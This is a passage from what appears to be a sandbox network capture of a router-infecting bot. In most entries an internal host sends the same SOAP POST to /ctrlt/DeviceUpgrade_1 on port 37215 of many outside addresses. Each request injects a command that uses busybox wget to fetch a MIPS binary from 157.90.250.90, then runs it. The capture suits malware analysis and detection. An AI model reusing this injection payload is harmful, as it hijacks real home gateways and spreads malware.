huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.23	51570	156.31.133.222	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800875902 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.23	40626	41.42.112.90	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.800983906 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.23	43964	197.3.154.235	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801039934 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.23	58514	197.112.141.250	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801121950 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
40	192.168.2.23	40266	156.155.195.253	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801218987 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
41	192.168.2.23	39598	41.164.73.85	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801292896 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
42	192.168.2.23	41272	41.56.205.34	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801379919 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.23	45100	156.28.189.147	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801467896 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.23	40346	197.169.178.55	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801542997 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.23	60072	41.102.141.16	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801608086 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 37 2e 39 30 2e 32 35 30 2e 39 30 20 2d 6c 20 2f 74 6d 70 2f 2e 75 6e 73 74 61 62 6c 65 20 2d 72 20 2f 78 30 6f 78 30 6f 78 30 6f 78 44 65 66 61 75 6c 74 2f 7a 30 72 30 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 [TRUNCATED] Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 157.90.250.90 -l /tmp/.unstable -r /x0ox0ox0oxDefault/z0r0.mips; /bin/busybox chmod 777 * /tmp/.unstable; /tmp/.unstable huawei.exploit)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.23	52016	197.195.206.136	37215

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 23:01:52.801670074 CET	869	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 